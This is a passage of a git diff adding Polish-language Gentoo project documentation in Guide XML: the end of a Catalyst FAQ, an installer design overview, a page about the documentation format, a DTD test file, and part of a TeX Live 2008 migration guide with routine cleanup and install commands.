+Nie jest to najlepszy pomysł, jako że stage1 uznaje się za wersję pracującą
+z każdym typem procesorów.  Dzięki temu, można go uruchamiać na każdym
+sprzęcie. Musimy uważać, by nie "zanieczyścić" naszego stage1 specyficznym
+kodem nietypowych procesorów.  Do tworzenia nowej wersji stage1 używamy
+"ogólnych" wersji stage3.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Czy catalyst może budować każdy stage od początku? Jeżeli catalyst
+posiada taką możliwość, dlaczego za każdym razem potrzebna jest wersja stage na
+której budujemy inne?</title>
+<body>
+
+<p>
+Dobre pytanie. Jak wiadomo, stage2 i stage3 są zależne od poprzednich stage przy
+budowaniu, o czym świadczą ich nazwy (np. "stage2" sugeruje istnienie "stage1".)
+Mimo to, catalyst potrzebuje podstawowego stage by utworzyć stage1, tak więc
+mając na celu zbudowanie stage1, warto wiedzieć dlaczego jest to tak ważne.
+Budując stage1, catalyst korzysta ze źródłowego stage3 by utworzyć środowisko
+chroot.  Wewnątrz środowiska chroot, nowe stage1 jest tworzone poprzez
+ustawienie zmiennej środowiska <c>ROOT</c> na <path>/tmp/stage1root</path>.
+Zmienna ta instruuje menadżer pakietów by pominął obecny system plików i łączył
+wszystkie nowe pakiety z systemem umiejscowionym w <path>/tmp/stage1root</path>.
+Catalyst pakuje wtedy <path>/tmp/stage1root</path>, które zostaje docelowym
+stage1. Oznacza to, że gdy catalyst tworzy stage1, samo stage1 nie dziedziczy
+żadnych binariów ani bibliotek ze źródłowego stage, które jest używane podczas
+tworzenia. Jednakże używane stage <e>wpływa</e> w pewnym stopniu na docelowe
+stage1 -- Pliki nagłówkowe Linux (Linux headers) w używanym stage są użyte do
+budowania glibc w stage1, tak więc kompilatory w stage użytym do budowy stage1
+są używane do kompilacji wszystkich programów w stage1. Źródłowe stage jest
+używane do odizolowania procesu budowy stage1 od lokalnego systemu, oraz
+umożliwienia budowania stage1 w wersji x86 na systemach amd64, dla przykładu.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Czy istnieje oficjalne HOWTO dla Catalyst?</title>
+<body>
+
+<p>
+Obecnie nie. Wszyscy zainteresowani napisaniem takiego przewodnika mogą wysłać
+swe prace tak jak w przypadku raportowania błędów. Brak oficjalnego HOWTO, nie
+oznacza że Catalyst nie posiada żadnej dokumentacji. Po zainstalowaniu Catalyst,
+przykładowe pliki z instrukcjami zostaną zainstalowane w
+<path>/usr/share/doc/catalyst-$version/examples</path>.
+</p>
+
+<p>
+Jeżeli potrzebujemy odpowiedzi na inne pytania, pomocne może okazać się
+zapisanie do listy mailowej gentoo-catalyst.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gdzie należy umieszczać flagi USE dla poszczególnych pakietów, ustawienia
+maskowania, itp?</title>
+<body>
+
+<p>
+Catalast wspiera pliki konfiguracyjne znajdujące się w
+<path>/etc/portage</path>.  Wystarczy dodać wybrane flagi w pliku specyfikacji,
+i upewnić się czy źródłowe stage używają tej samej opcji <c>portage_confdir</c>
+co system lokalny:
+</p>
+<p>
+portage_confdir: /ścieżka/do/etc/portage
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Budować własne stage1, czy użyć wersji dostępnej w Gentoo mirror?</title>
+<body>
+
+<p>
+Najlepiej <b>zawsze</b> budować własne stage, jeżeli nie zostanie do tego celu
+użyty ten sam snapshot, który został użyty do zbudowania ostatniego wydania.
+Drzewo często zmienia swoją zawartość. Jeżeli mielibyśmy użyć stage1 starszego
+niż 3 miesiące, spowodowałoby to prawdopodobnie problemy z blokującymi się
+pakietami i kompatybilnością, które wpłynęły by na proces budowania stage.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>W jaki sposób utrzymywać pakiety GRP/stages/LiveCD zawsze w najnowszej
+wersji?</title>
+<body>
+
+<p>
+Catalyst używa Portage podczas pracy, tak więc wystarczy regenerować snapshot
+Portage i przebudowywać GRP/stage/LiveCD. Portage przeprowadzi aktualizację
+pakietów tak jak to ma miejsce w zwykłym systemie.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Czy Catalyst używa specjalnej składni dla flag USE?</title>
+<body>
+
+<p>
+Nie, flagi USE w Catalyst są identyczne jak w Portage.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/releng/installer/design.xml b/xml/htdocs/proj/pl/releng/installer/design.xml
new file mode 100644
index 00000000..1be920bc
--- /dev/null
+++ b/xml/htdocs/proj/pl/releng/installer/design.xml
@@ -0,0 +1,405 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/releng/installer/design.xml" lang="pl">
+<title>Instalator Gentoo Linux</title>
+
+<author title="Autor">
+  <mail link="esammer@gentoo.org">Eric Sammer</mail>
+</author>
+<author title="Redaktor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+<author title="Tłumaczenie">
+  Piotr Chmyłkowski
+</author>
+
+<abstract>
+Wprowadzenie do projektu Instalatora Gentoo Linux omawiające jego cel, strukturę
+i uczestników.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>29 January 2004</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<body>
+
+<p>
+Obecnie Gentoo nie posiada oficjalnego instalatora. Wielu użytkowników wyraziło
+zainteresowanie taką aplikacją, która ułatwiłaby obecny proces instalacji.
+Wielu nowych użytkowników Gentoo lub ogólnie Linuksa, uważa proces instalacji za
+odstraszający i nawet z silnym zapewnieniem pomocy oraz doskonałą dokumentacją
+nadal pozostają niechętnymi do wypróbowania Gentoo. Niektóre osoby oznajmiły, że
+jest to jedyny powód przez który jeszcze nie zainstalowały lub wypróbowały
+Gentoo. Obecny proces instalacji nadal będzie dostępny dla osób, które go
+wybiorą.
+</p>
+
+<p>
+Projekt Instalatora Gentoo Linux zamierza stowrzyć normatywną platformę
+instalacyjną zarówno dla systemów serwerowych jak i biurkowych. Ogólnie celem
+instalatora jest spójność pomiędzy architekturami, użyteczność dla wszystkich
+użytkowników i elastyczność. Sekcja o funkcjonalności da lepsze pojęcie o
+szczegółach, ale wystarczy powiedzieć, że będzie dla wszystkich użytkowników, na
+wszystkich poziomach zaawansowania, dla wszystkich środowisk.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+  <title>Funkcjonalność</title>
+<section>
+<body>
+
+<p>
+Dalej znajduje się lista funkcjonalności, które będzie posiadał instalator.
+Lista nie jest zbyt wyczerpująca, ale powinna dać lepsze pojęcie co będzie
+możliwe. Nie wszystkie wymienione funkcjonalności będą do wykorzystania przez
+wszystkich użytkowników, ale idea jest taka, aby zapewnić spójność dla
+wszystkich użytkowników i tym samym trzymać się mantry &quot;jeśli nie dla mnie, to
+dla kogoś innego&quot;.
+</p>
+
+</body>
+</section>
+<section>
+<title>Liczne interfejsy końcowe</title>
+<body>
+
+<p>
+Instalator będzie posiadał wymienne interfejsy użytkownika a część spośród
+nich będzie pracowała w środowiku X. Ponieważ niektóre platformy są częściej
+instalowane z wykorzystaniem urządzeń, które nie współpracują ze środowiskiem X
+windows (instalacja z wykorzystaniem konsoli szeregowej Sun, itp), będą
+rozwijane także interfejsy tekstowe. Użytkownicy będą mogli rozwijać własne
+interfejsy (każdego rodzaju) według własnego upodobania, ale ze względów na
+wsparcie techniczne, na początku tylko jeden interfejs tekstowy i jeden 
+graficzny może być oficjalnie wspierany.
+</p>
+
+</body>
+</section>
+<section>
+<title>Odnawialna struktura wewnętrzna</title>
+<body>
+
+<p>
+Rzeczywistą siłą napędową instalatora będzie zbiór API, które będą wywoływane z
+pożądanego klienta. Aby utrzymać czystą i pełną separację funkcjonalności i
+interfejsu użytkownika, zostanie ustanowiona ogólna platforma dla narzędzi,
+które będa chciały kontrolować proces instalacji systemu Gentoo. Przyczyni się
+to również do dużej spójności pomiędzy wszystkimi platformami i środowiskami.
+</p>
+
+</body>
+</section>
+<section>
+<title>Automatyczne wdrożenie</title>
+<body>
+
+<p>
+Instalator będzie wpierał automatyczne wdrożenie używając wcześniej
+skonfigurowanych profili instalacji. To pozwoli na łatwą instalację w większych
+środowiskach z podobnym sprzętem lub w sytuacjach kiedy pragnie się
+przechowywać kopię zapasową parametrów świeżej instalacji w celu szybkiego
+odzyskiwania maszyny w razie awarii.
+</p>
+
+</body>
+</section>
+<section>
+<title>Generacja profilu próbnego uruchomienia</title>
+<body>
+
+<p>
+Użytkownicy będa w stanie stworzyć profil instalacji przechodząc przez 
+wszystkie kroki instalatora ale w rzeczywistości nie podejmując żadnych 
+kroków. Wszystkie dane wygenerowane przez użytkownika będą zamienione na profil
+instalacji (reprezentowany jako dokument XML), który następnie będzie można
+wykorzystać do automatycznego wdrożenia.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pełne wsparcie dla wszystkich architektur Gentoo</title>
+<body>
+
+<p>
+Warunkiem koniecznym dla projektu instalatora jest wsparcie dla wszystkich
+architektur wspieranych przez Gentoo. To oznacza wsparcie (ale nie tylko) dla
+x86, ppc, sparc, alpha, amd64, mips, hppa i itanium. (Jedynym wyjątkiem są
+urządzenia wbudowane. Jest to spowodowane bardzo wyspecjalizowanym środowiskiem,
+do którego instalator może się niedostosować.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Wyspecjalizowane profile</title>
+<body>
+
+<p>
+Wyspecjalizowane profile, takie jak SELinux, będą wspierane na równi z
+tradycyjnymi (na podstawie procesora) architekturami. Wyspecjalizowane profile
+będą wspierały dodatkowe funkcjonalności i wymagania odpowiednich procesów
+instalacyjnych.
+</p>
+
+</body>
+</section>
+<section>
+<title>Użycie otwartych standardów i polityk</title>
+<body>
+
+<p>
+Wszędzie, gdzie będzie to możliwe, instalator będzie używał otwartych formatów 
+i standardów aby dobrze współpracować z innymi narzędziami rozwijanymi przez
+użytkowników, tj formaty plików (XML), protokoły sieciowe, itp. Możliwości
+użycia alternatywnych narzędzi zostanie poświęcona specjalna uwaga.
+</p>
+
+</body>
+</section>
+<section>
+<title>Integracja z przyszłymi projektami konfiguratorów</title>
+<body>
+
+<p>
+Wszędzie, gdzie to możliwe, instalator będzie się integrował ze specyficznym dla
+Gentoo systemem narzędzi konfiguracyjnych, aby ułatwić konfiguację
+poinstalacyjną maszyn. Wsparcie dla narzędzi z poza Gentoo, tj cfengine może być
+również uwzględnione.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Projekt i struktura</title>
+<section>
+<body>
+
+<p>
+Struktura instalatora musi być na tyle ogólna aby wspierać wyżej wymienione 
+funkcjonalności i jednocześnie nie spowodować aby proste zadania stały się 
+trudnymi a obsługiwalność stała się skomplikowana.
+</p>
+
+<p>
+Główne wymagania projektowe:
+</p>
+
+<ul>
+  <li>Liczne interfejsy użytkownika muszą być wspierane (wsparcie modelu 
+    abstrakcyjnego)</li>
+  <li>Zachowanie pełnej separacji modelu, widoku i logiki kontrolnej</li>
+  <li>Wszystkie funkcjonalności muszą być wspierane bez względu na rodzaj
+    interfejsu użytkownika i architekturę</li>
+  <li>Możliwość automatycznego wdrożenia musi być zawsze dostępna</li>
+</ul>
+
+<p>
+No i w końcu, platforma instalacyjna (jak cały system jest nazwany) jest
+podzielona na trzy główne części.
+</p>
+
+</body>
+</section>
+<section>
+<title>Interfejs końcowy (Klient)</title>
+<body>
+
+<p>
+Klient jest interfejsem użytkownia do systemu. Zawiera całą logikę i wsparcie
+dla interfejsu użytkownika, a także, mniej ważne informacje o stanie tymczasowej
+konfiguracji klienta, w tym parametry podane w wierszu poleceń, zmienne
+środowiskowe, wywołania metod (interaktywne/nieinteraktywne), miejsca logowania,
+URI serwerów z pakietami binarnymi, i inne. Niektóre ustawienia pozostaną w
+procesie instalacji, ale większość z nich nie.  
+</p>
+
+<p>
+Użytkownik będzie mógł użyć pożądanego interfejsu końcowego w celu 
+wygenerowania profilu instalacji, który będzie wykorzystany w późniejszym 
+wdrożeniu i w tym aspekcie może być też uważany za narzędzie do generowania 
+profilu.
+</p>
+
+<p>
+W późniejszym czasie możliwa jest również integracja klienta z 
+systemowymi narzędziami konfiguracyjnymi.
+</p>
+
+<p>
+Generalnie klient jest "głupi" i nieświadomy implementacji logiki aktualnego
+procesu instalacji, chociaż logika niektórych architektur będzie obecna.
+</p>
+
+</body>
+</section>
+<section>
+<title>Element przetwarzający (API lub struktura wewnętrzna)</title>
+<body>
+
+<p>
+Daniem głównym instalatora jest zbiór obiektowo zorientowanych API, 
+które wydobywają właściwe polecenia wykonywane w celu instalacji systemu.
+Struktura wewnętrzna jest czymś abstrakcyjnym i dlatego jej zachowanie zależy od
+użytego szablonu architektury. Liczba wykonanych kroków w dużej mierze zależy 
+od wymagań i implementacji szablonu architektury (pliku XML, który jest podobny
+do informacji dostarczanych przez /etc/make.profile).
+</p>
+
+<p>
+Ponieważ struktura wewnętrzna jest oddzielona od klienta może zostać użyta przez
+zróżnicowane produkty instalacyjne rozwijane przez użytkowników. Główne klasy są
+następujące:
+</p>
+
+<ul>
+  <li>
+    Klasa kontrolująca, która dyktuje, na podstawie szablonów architektury
+    (pliku XML), jakie kroki wykonywać w jakiej kolejności.
+    Ta klasa jest rdzeniem calej logiki.
+  </li>
+  <li>
+    Klasa profilu instalacji utrzymująca wszystkie informacje o instalacji,
+    takie jak schemat podziału na partycje, flagi kompilatora, flagi use i inne
+    tego typu dane. Klasa będzie mogła serializować się do pliku XML, który
+    będzie mógł być umieszczony na serwerze automatycznego wdrożenia i być
+    wykorzystany w późniejszym czasie.
+  </li>
+</ul>
+
+<p>
+Inne, mniej ważne klasy będą mogły być wykorzystane do pośredniczącego wsparcia,
+ale te dwie klasy scalają to co ma być uznawane za publiczne dla deweloperów
+klientów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Serwer wdrożeniowy</title>
+<body>
+
+<p>
+Trzeci komponent prawdopodobnie zainteresuje tylko tych, którzy korzystają z
+funkcji automatycznego wdrożenia. W rzeczywistości serwer wdrożeniowy 
+jest tylko kobinacją usług i plików.
+</p>
+
+<p>
+Profile instalacyjne mogą być przechowywane na komputerze i serwowane za pomocą
+serwera rsync. Klient (a dokładniej element przetwarzający) jak tylko dostanie 
+URI serwera rsync pobierze wszystkie dostępne profile. Tak to wygląda z jednej
+strony.
+</p>
+
+<p>
+Na serwerze wdrożeniowym mogą również działać usługi tftp i dhcp aby ułatwić
+bootowanie przez sieć dla dużych instalacji. To zazwyczaj pociąga za sobą wymóg
+wsparcia bootowania przez sieć również na maszynach klienckich, ale do tego mogą
+posłużyć specjalnie dostosowane płyty liveCD z Gentoo.
+</p>
+
+<p>
+W skrócie, serwer wdrożeniowy nie jest specyficznym demonem czy usługą, ale
+kombinacją ogólnie dostępnych i standardowych usług. Pomysł polega na tym, aby
+wykorzystać usługi, które mogły już wcześniej działać w sieci użytkownika.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Proces</title>
+<section>
+<body>
+
+<p>
+Faktyczny proces, tzn jakie kroki należy przeprowadzić, w jakiej 
+kolejności i jak, jest określony przez szablony architektur. 
+W znacznej większości szablon architektury będzie się pokrywał 
+z krokami opisanymi w Podręczniku Gentoo.
+</p>
+
+<p>
+Specjalne szablony architektury, jak np wcześniej wspomniany SELinux mogą używać
+tego samego mechanizmu do zmiany standardowego procesu instalacji. Schemat dla
+architektury będzie zmieniał domyślne zachowanie podane w schemacie 
+podstawowym. Dzęki temu, każdy szablon architektury nie będzie musiał
+specyfikować rzeczy takich jak synchronizacja drzewa portage, 
+emergowanie systemu czy innych podobnych kroków, które występują we 
+wszystkich architekturach.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Kontakt</title>
+<section>
+<body>
+
+<p>
+Deweloperzy pracujący nad Instalatorem Gentoo gromadzą się w dwóch miejscach.
+Kanał IRC #gentoo-installer (w sieci Freenode) jest głównym forum dyskusyjnym,
+gdzie wiele kwestii jest rozstrzyganych na bieżąco. Na bardziej ogólne dyskusje
+przeznaczona jest lista dyskusyjna. Można się na nią zapisać wysyłając email na
+adres gentoo-installer-subscribe@lists.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Autorzy i współpracownicy</title>
+<section>
+<body>
+
+<p>
+Wszystkie informacje i pomysły przekazane w tym dokumencie zostały wyłuskane z
+wielu rozmów prowadzonych w wielu różnych miejscach.
+</p>
+
+<p>
+Na kanale #gentoo-installer blackace, dams, esammer, iggy, karltk, klieber,
+Method, pauldv, port001, Ramereth, Rupart, spyerdous, npmmcullum i  tseng. 
+Inne osoby również pomogły ale aktualnie, podczas pisania tego szkicu projektu, 
+są nieaktywni na kanale.
+</p>
+
+<p>
+Lista dyskusyjna desktop-research była miejscem, w którym ten projekt powstał
+jako oficjalny projekt Gentoo w obecnym składzie. Podziękowania również dla osób
+z tej listy.
+</p>
+
+<p>
+Kanał #gentoo-server był pomocny w zbieraniu zaleceń i informacji 
+o automatycznym wdrożeniu. Podziękowania również dla nich.
+</p>
+
+<p>
+Ten dokument odwołuje się do wielu rozmów i pomysłów i jest pracą zbiorową
+społeczności Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/site.xml b/xml/htdocs/proj/pl/site.xml
new file mode 100644
index 00000000..96ddab1f
--- /dev/null
+++ b/xml/htdocs/proj/pl/site.xml
@@ -0,0 +1,83 @@
+<?xml version='1.0'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/site.xml,v 1.3 2005/12/04 11:12:19 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide type="project" link="/proj/pl/site.xml" lang="pl">
+<title>Format dokumentacji Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Tłumacz">Damian Kuras</author>
+
+<abstract>
+Strona zawiera informacje na temat formatu Guide XML używanego do publikowania
+dokumentacji na stronach Gentoo Linux.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guide XML</title>
+
+<section>
+<body>
+
+<p>
+Do publikowania dokumentacji twórcy Gentoo Linux korzystają ze specjalnego
+uproszczonego formatu XML o nazwie <e>Guide XML</e>. Więcej informacji na temat
+powstania tego formatu można znaleźć w artykułach Daniela Drobbinsa
+opublikowanych na stronie <uri link="http://www.ibm.com/developerworks">IBM
+developerWorks</uri> w serii <e>Site reborn</e>:
+</p>
+
+<ul>
+  <li>
+    W <uri
+    link="/doc/en/articles/l-redesign-1.xml">Części pierwszej</uri> Daniel
+    rysuje plany stworzenia dokumentacji przyjaznej użytkownikowi oraz
+    publikuje narzędzie <c>pytext</c>, osadzony interpreter Pythona
+  </li>
+  <li>
+    W <uri
+    link="/doc/en/articles/l-redesign-2.xml">Części drugiej</uri>, Daniel
+    prezentuje system dokumentacji <c>guide XML</c> oraz zakłada listę
+    mailingową z logami z repozytorium CVS dokumentacji
+  </li>
+  <li>
+    W <uri
+    link="/doc/en/articles/l-redesign-3.xml">Części trzeciej</uri> Daniel 
+    opowiada o stworzeniu nowego wyglądu całej strony Gentoo
+  </li>
+  <li>
+    W <uri
+    link="/doc/en/articles/l-redesign-4.xml">Części czwartej</uri> kończy 
+    konwersję do formatu XML/XSLT, naprawia problemy z kompatybilnością w
+    przeglądarkach Netscape 4.x i dodaje automatycznie generowany raport 
+    zmian.
+  </li>
+</ul>
+
+<p>
+W naszych zasobach znajduje się również <uri
+link="/doc/pl/xml-guide.xml">Przewodnik</uri> dokładnie opisujący format
+<c>Guide XML</c>.
+</p>
+
+<!--
+You can
+download the latest version of all our <c>guide XML</c> tools by grabbing this
+file, which actually contains a CVS snapshot of all the files used to create
+the Web site: <uri 
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>. This
+tarball is automatically regenerated every time the Gentoo Linux Web site
+is updated, so it will always be current.  Instructions on how to use the
+included files can be found in the <uri link="/doc/pl/xml-guide.xml">Gentoo 
+Linux Documentation Guide</uri> (FYI, this tarball contains a snapshot of the
+<path>gentoo-web</path> directory from our <path>gentoo-src</path> CVS module.)
+-->
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/pl/test.xml b/xml/htdocs/proj/pl/test.xml
new file mode 100644
index 00000000..d2826f0a
--- /dev/null
+++ b/xml/htdocs/proj/pl/test.xml
@@ -0,0 +1,51 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Id: test.xml,v 1.1 2007/05/14 22:53:32 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/en/test.xml">
+<title>Testfile</title>
+
+<author title="Author">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+<abstract>
+This is a testfile with some guidexml content. The main purpose is to test our
+DTD checker on the CVS server.
+</abstract>
+
+<license />
+
+<version>1.74</version>
+<date>2007-03-08</date>
+
+<chapter>
+<title>Sample Chapter 1</title>
+<section>
+<title>Sample Section 1</title>
+<body>
+
+<p>
+Some text.
+Some more text.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sample Section 2</title>
+<body>
+
+<p>
+<b>Some bold text</b> and <e>emphasised</e>.
+</p>
+
+<p>
+Testing gentoo-doc-cvs mailing list.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/tex/texlive-migration-guide.xml b/xml/htdocs/proj/pl/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..cae7d588
--- /dev/null
+++ b/xml/htdocs/proj/pl/tex/texlive-migration-guide.xml
@@ -0,0 +1,567 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/tex/texlive-migration-guide.xml,v 1.7 2009/04/28 10:53:56 shadow Exp $ -->
+
+<guide link="/proj/pl/tex/texlive-migration-guide.xml" lang="pl">
+<title>TeX Live 2008 w Gentoo</title>
+
+<author title="Autor">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+
+<author title="Tłumacz">
+  <mail link="shpaq@puszkin.org">Michał Laszuk</mail>
+</author>
+
+<abstract>
+Przewodnik ten opisuje sposób instalacji Tex Live 2008 w Gentoo, bardziej jako
+swoisty opis potrzebnych elementów, w przypadku gdy już posiada się
+zainstalowaną dystrybucję TeX-a. (na przykład tetex czy TeX Live 2005)
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>Odinstalowanie</title>
+
+<section>
+<title>Wstęp</title>
+<body>
+
+<p>
+W poniższym akapicie zostało założone, że użytkownik posiada zainstalowany
+pakiet <c> >=app-text/tetex-3 </c>. Opis odnosi się również do osób
+posiadających <c>app-text/texlive-2005</c>. W idealnym świecie powinno być to
+tak proste jak zwyczajne odinstalowanie pakietu, ale, na nieszczęście, nie jest.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zapisywanie starej konfiguracji</title>
+<body>
+
+<p>
+Jeśli użytkownik zmodyfikował konfigurację <c>tetexa</c> poprzez edycję plików w
+<path>/etc/texmf</path>, to powinny one zostać gdzieś zapisane.
+</p>
+
+<pre caption="Zapisywanie starych plików konfiguracyjnych">
+$ <i>cp -rf /etc/texmf ~/tetex-texmf</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Usuwanie tetexa</title>
+<body>
+
+<p>
+Teraz możliwe jest bezpieczne usunięcie pakietu <c>tetex</c>:
+</p>
+
+<pre caption="Usuwanie tetexa">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+Zostały zgłoszone dziwne błędy pojawiające się w przypadku, gdy w
+<path>/etc/texmf</path> pozostały osierocone pliki konfiguracyjne. W celu
+przeprowadzenia bezpiecznej i czystej instalacji, zaleca się zatem usunięcie
+pliku <path>/etc/texmf/texmf.d/00texmf.cnf</path>:
+</p>
+
+<pre caption="Usuwanie /etc/texmf">
+# <i>rm /etc/texmf/texmf.d/00texmf.cnf</i>
+</pre>
+
+<note>
+Jeśli stare pliki konfiguracyjne zostały zapisane w bezpiecznym miejscu,
+użytkownik nie straci swoich ustawień.
+</note>
+
+<p>
+Z powodu, że <c>tetex</c> korzystający z <c>texlinks</c> jest poza zasięgiem
+menadżera pakietów, zwykłe odinstalowanie pakietu pozostawi po sobie osierocone
+dowiązania symboliczne.
+</p>
+
+<pre caption="Osierocone dowiązanie tetexa">
+$ <i>ls -l /usr/bin/pdftex</i>
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>
+Oczywiście pdfetex został usunięty wraz z pakietem <c>tetex</c>, więc dowiązanie
+do tego pliku jest martwy. Może on zostać bezpiecznie usunięty. Polecenie
+<c>find</c> może pomóc w odnalezieniu martwych dowiązań, potrafi nawet je
+interaktywnie usunąć.
+</p>
+
+<pre caption="Usuwanie martwych dowiązań">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i>
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y
+&lt; rm ... /usr/bin/amstex &gt; ? y
+&lt; rm ... /usr/bin/pdftex &gt; ? y
+&lt; rm ... /usr/bin/eplain &gt; ? y
+&lt; rm ... /usr/bin/jadetex &gt; ? y
+&lt; rm ... /usr/bin/lambda &gt; ? y
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y
+&lt; rm ... /usr/bin/elatex &gt; ? y
+&lt; rm ... /usr/bin/lamed &gt; ? y
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>
+Są to pliki pozostałe po starej instalacji dystrybucji <c>tetex</c>.
+</p>
+
+<p>
+Poza zasięgiem menadżera pakietów, <c>tetex</c> korzystał również z
+<c>fmutil</c> do generowania plików formatów. W <c>TeX Live 2008</c> pliki te
+budowane są podczas kompilacji pakietów, które to pliki formatów zostaną
+zainstalowane w <path>/var/lib/texmf</path>. Oznacza to, że koniecznym jest
+sprawdzenie, czy nie pozostały tam osierocone pliki formatów"
+</p>
+
+<pre caption="Usuwanie osieroconych plików formatów">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalowanie TeX Live 2008</title>
+<section>
+<body>
+
+<p>
+Po przejściu wymienionych wyżej kroków instalacja <c>TeX Live 2008</c> powinna
+być bezproblemowa.
+</p>
+
+<pre caption="Instalacja TeX Live 2008">
+# <i>emerge texlive</i>
+</pre>
+
+<p>
+W teorii powinno pójść gładko i wszystko powinno się zainstalować poprawnie. W
+którymś momencie instalacji użytkownik może chcieć zmienić flagi USE, by
+zainstalować dodatkowe pakiety TeX-a, ale można to zrobić później.
+<c>app-text/texlive</c> jest tylko meta-ebuildem, który pociąga za sobą
+instalację normalnych pakietów w zależności od ustawionych flag USE.
+</p>
+
+<p>
+Niemniej jednak, możliwe są problemy z zależnościami, błędy podczas instalacji
+pakietów i tym podobne. W takim przypadku należy zgłosić błąd na
+<uri>https://bugs.gentoo.org</uri>. Podczas zgłaszania błędu, należy załączyć
+przynajmniej wynik polecenia <c>texconfig conf</c> (ze względu na to, że
+niektóre zmienne środowiskowe mogą być istotne, uruchomionego przez tego samego
+użytkownika, któremu nie udało się zainstalować pakietu). Wynik tego polecenia z
+zasady będzie wymagany.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguracja</title>
+<section>
+<title>Wstęp</title>
+<body>
+
+<p>
+<c>tetex-3</c> i <c>TeX Live</c> w <c>Gentoo</c> posiadają trzy podstawowe pliki
+konfiguracyjne podzielone i zarządzane przez <c>texmf-update</c>. Te pliki to:
+<path>texmf.cnf</path>, <path>fmtutil.cnf</path>, <path>updmap.cfg</path> i
+znajdują się w <path>/etc/texmf/web2c</path>. Nie powinno się modyfikować tych
+plików ręcznie, ponieważ wszystkie dokonane zmiany zostaną stracone podczas
+kolejnego uruchomienia <c>texmf-update</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>texmf.cnf</title>
+<body>
+
+<p>
+Plik <path>texmf.cnf</path> jest głównym plikiem konfiguracyjnym dla
+zainstalowanego TeX-a. Zawiera w sobie różne zmienne definicje, z których
+korzysta mnóstwo programów.
+</p>
+
+<p>
+Plik <path>texmf.cnf</path> jest efektem połączenia plików zawartych w
+<path>/etc/texmf/texmf.d</path>. By zmienić środowisko konfiguracji TeX-a,
+należy modyfikować pliki znajdujące się w wyżej wymienionej lokacji. W czasie
+gdy powstawał ten tekst, ebuild <c>Gentoo TeX Live</c> instalował tam sześć
+plików.
+</p>
+
+<pre caption="Pliki zainstalowane w texmf.d">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>
+Jest to wynik podziału odpowiednich sekcji nieznacznie zmodyfikowanego pliku
+<path>texmf.cnf</path> z DVD <c>TeX Live 2008</c>.
+</p>
+
+<p>
+Pliki <path>00header.cnf</path>, <path>05searchpaths.cnf</path>,
+<path>10standardpaths.cnf</path> i <path>25misc.cnf</path> nie powinny być
+modyfikowane. Jeśli domyślne ustawienia powinny zostać zmienione, należy zgłosić
+błąd.
+</p>
+
+<warn>
+Ebuildy <c>TeX Live</c> nie sprawdzają czy zostały zmienione ścieżki w
+wymienionych plikach, więc jeśli zostały zmienione przez użytkownika, powinien
+on mieć pewność co robi.
+</warn>
+
+<p>
